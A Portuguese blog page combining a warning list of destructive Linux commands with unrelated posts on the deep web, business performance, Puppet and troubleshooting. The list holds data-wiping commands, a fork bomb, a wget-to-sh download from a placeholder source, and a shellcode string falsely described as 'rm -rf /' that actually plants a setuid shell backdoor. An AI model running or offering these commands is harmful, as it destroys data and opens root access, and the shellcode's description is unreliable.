Os comandos mais perigosos do mundo
Comando abaixo são usado no console ou em um terminal Linux , Se vc quiser testar vai em frente , mas não me pertube, sua conta em risco.
Qualquer um desses comandos irá apagar tudo que estiver no seu diretório raiz:
01) sudo rm -rf /
02) rm -rf .*
03) dd if=/dev/zero of=/dev/sda
04) mkfs.ext3 /dev/hda
05) whatever > /dev/hda
06) cd ~; for x in `ls`; do mv -f $x $y; y=$x; done
07) find -type f -mtime +30 -exec mv {} /dev/null \;
08) mv ~ /dev/null
09) mv / /dev/null
10) O comando abaixo pode provocar o kernel panic (similar à tela azul da morte) ou congelará o sistema:
==> dd if=/dev/random of=/dev/port
11) Um comando que mais parece aquelas carinhas de chat, mas que também é conhecido como Bomba Fork:
==> :(){:|:&};:
12) Este faz o mesmo que “rm-rf /” (a diferença é que está em código decimal):
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
13) Este comando irá mover o diretório home para um lugar que realmente não existe (/dev/null é o buraco negro do Linux):
==> mv /home/username/* /dev/null
14) Este fará download de um script shell e executá-lo quando o download terminar ( a “|” = juntar, executar na sequência):
==> wget sumber_tak_terpercaya -O- | sh
15) Este irá impedi-lo de executar comandos com privilégios de root (outra variação do comando rm -f /):
==> rm -f /usr/bin/sudo;rm -f /bin/su
fonte: http://www.tecmundo.com.br/disco-rigido/4005-aprenda-a-formatar-e-deixar-o-hd-redondinho-.htm
O lado Negro da Força – Deep Web
Num mundo existe sempre algo paralelo , Paz e Guerra, Céu e Inferno , Bem e o Mal, na internet é a mesma coisa, onde a informação é inacessível para os mecanismos de busca comuns como o Google, por exemplo. O que enxergamos equivale à superfície da internet que, de acordo com especialistas, corresponde apenas a 4% de toda a web.
A Deep Web é a camada da internet que não pode ser acessada através de uma simples “googlada”.Quando se diz que na internet é possível aprender como construir bombas, comprar drogas e documentos falsificados, entre outras coisas, geralmente é sobre a Deep Web que estão falando; assim como é lá também que surgem organizações como Wikileaks e Anonymous, e são essas pessoas que discutem a web como um organismo livre e democrático. Portanto, é uma via de duas mãos, em que a todo momento você pode tropeçar numa pedrinha e cair do lado contrário.
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A Deep Web é considerada a camada real da rede mundial de computadores, comumente explicada em analogia a um iceberg: a internet indexada, que pode ser encontrada pelos sistemas de busca, seria apenas a ponta superficial, a “surface web”. Todo o resto é a Deep Web não à toa o nome que, em inglês, significa algo como rede profunda. Read the rest of this entry
Na Busca de um bom Desempenho
A avaliação do desempenho de uma empresa pode ser feita de várias maneiras: comparando-se os resultados atuais com os do ano anterior ou verificando o desempenho dos concorrentes, por exemplo. Também podem ser utilizados indicadores da qualidade relativa aos produtos/serviços da empresa, sua habilidade inovadora para produzir novos produtos e serviços e melhorar sua produção e seu processo de atendimento e entrega ao cliente, além de sua participação relativa de mercado.
É aconselhável que a busca pelo melhor desempenho tenha início com o Planejamento Estratégico da organização, o que vai demandar um tempo razoável na sua elaboração, isto porque será necessária a compilação de uma gama de informações relacionadas ao ambiente externo (oportunidades e ameaças) que é composto por variáveis não controláveis e, também, as relacionadas ao ambiente interno (forças e fraquezas) cujas variáveis são controláveis. Mas, o tempo gasto num bom planejamento resulta numa melhor execução do projeto. É no Planejamento Estratégico que se define quais os
recursos (humanos, tecnológicos e financeiros) necessários para se atingir um
determinado objetivo num espaço de tempo. O Planejamento Estratégico contemplará, entre outras coisas, a revisão de todos os processos da organização, de maneira a torná- la mais ágil, flexível, competitiva e obter a tão desejada redução de custos.
Hoje em dia, muitas críticas são feitas à reengenharia. No entanto, o fato dela preconizar a revisão dos processos, deve ser visto como algo positivo no momento de informatizarmos uma organização. A reengenharia, utilizada equivocadamente por muitas organizações, justificou uma onda de demissões durante um determinado período. Muitas organizações entendiam que a “destruição criadora” era apenas refazer seus processos e reduzir seus custos através da diminuição de seu quadro de pessoal, utilizar maciçamente a tecnologia da informação e depois verificar as necessidades dos clientes.
Porém, o que a reengenharia preconiza é exatamente o contrário, isto é, primeiro se verifica quais as necessidades dos clientes e depois se procede a reengenharia dos processos com base em tecnologia de ponta, agregando valor aos produtos e serviços oferecidos e, muitas vezes realizando uma reestruturação organizacional com o objetivo de tornar a organização mais ágil e flexível, pronta para atender ao mercado.
Imagine, por exemplo, que as estruturas de ferro de uma casa ou prédio estejam tortas e enferrujadas ou, que as madeiras utilizadas estruturalmente estejam corroídas por cupins e, que no momento de uma reforma, essas estruturas fossem pintadas com uma ótima tinta. O que teríamos ao final da reforma? Estruturas tortas, enferrujadas e corroídas, porém, com pintura nova. Desta maneira, é possível que, em caso de desmoronamento da estrutura, o(s) responsável(is) pela reforma lamente(m) o que foi gasto na pintura desta mesma estrutura. Analogamente, podemos desenvolver o mesmo raciocínio no momento de automatizarmos (pintarmos) os processos (estruturas) de uma organização (casa ou prédio). Sob esta ótica, é muito importante que seja feita uma profunda análise e/ou reforma dos processos de uma organização antes de informatizá-los, sob pena de se transformar os custos em despesas ao invés de investimento.
Na realidade, o que se busca é a melhoria do desempenho das organizações, o que está intrinsecamente ligado à Gestão da Tecnologia da Informação, à Gestão de Recursos Humanos (especificamente, Gestão por Competências), à Reengenharia, à Gestão da Qualidade Total e à Gestão dos Processos de Negócios destas organizações.
Material de MBA Sistema da Informação – Haroldo Amaral, MSc, CBPP
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Puppet – Instalação e configuração no client server
Segue Vídeo de uma instalação e configuração de puppet client abaixo uma pequena descrição
Puppetmasterd é o servidor central da solução.
Puppetd é o cliente da solução que busca o catálogo compilado e reporta informações do sistema para servidor.
Puppet é um aplicativo, em especial, para teste do catálogo
Manifest é uma declaração de expressões para controlar o Puppet. É uma linguagem de domínio específica.
fonte: http://castix.wordpress.com/2009/02/28/server-configuration-with-puppet/
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Os 7 passos do Troubleshooting
Passo 0: Acredite.
Nossa natureza nos leva a resistir a idéia de que um problema existe. Achamos que é algum engano do cliente, ou que na pior das hipóteses há um problema, mas está em outro lugar, e é de responsabilidade de outra pessoa. É fácil não encontrar o erro se não quisermos.
Passo 1: Redução.
Reduza o erro ao menor denominador comum. Por exemplo, apenas SCP de DATAFILEs geram tal erro, SCP de arquivos texto não.
Passo 2: Isolamento.
Isole o ponto comum do erro. Por exemplo, não era o SCP, era qualquer tentativa de manipulação de DATAFILEs.

Passo 3: Reprodução.
Defina se o erro é esporádico, intermitente, pontual ou padronizado. Por exemplo, o erro era sempre o mesmo, e sempre acontecia para qualquer DATAFILE.
Passo 4: Informação.
Verifique os Logs do Banco, da Aplicação e do Sistema Operacional. Utilize as opções VERBOSE ou DEBUG dos aplicativos, utilize o TRUSS do AIX, ou o DTRACE do Solaris, enfim, colete toda informação adicional que puder.
Passo 5: Pesquisa.
Agora sim pesquise sobre as informações coletadas no passo anterior. Em primeiro lugar, consulte a documentação do produto, depois consulte o site de suporte do produto (Metalink) e depois, vá para o Google. O grande problema do Google nestes casos é que ele, por definição, prioriza sites mais populares, o que pode não ser o ideal para seu problema estranho. Além disso, o Google não armazena conteúdo onde a informação está atrás de algum formulário ou autenticação – por exemplo, o Metalink e partes do DeveloperWorks.
Passo 6: Correção & Validação.
Aplicar instruções para correção, e verificar se o erro realmente foi eliminado. Caso contrário, volte ao Passo 5.
Passo 7: Documentação.
Sem este passo, você terá que fazer os 7 passos novamente para o mesmo erro, em breve. A documentação deve ser padronizada, direcionada e armazenada corretamente. Mas lembre-se que um Post informal, de madrugada, é melhor do que nenhuma documentação.
Fonte : http://nervinformatica.com.br/blog/


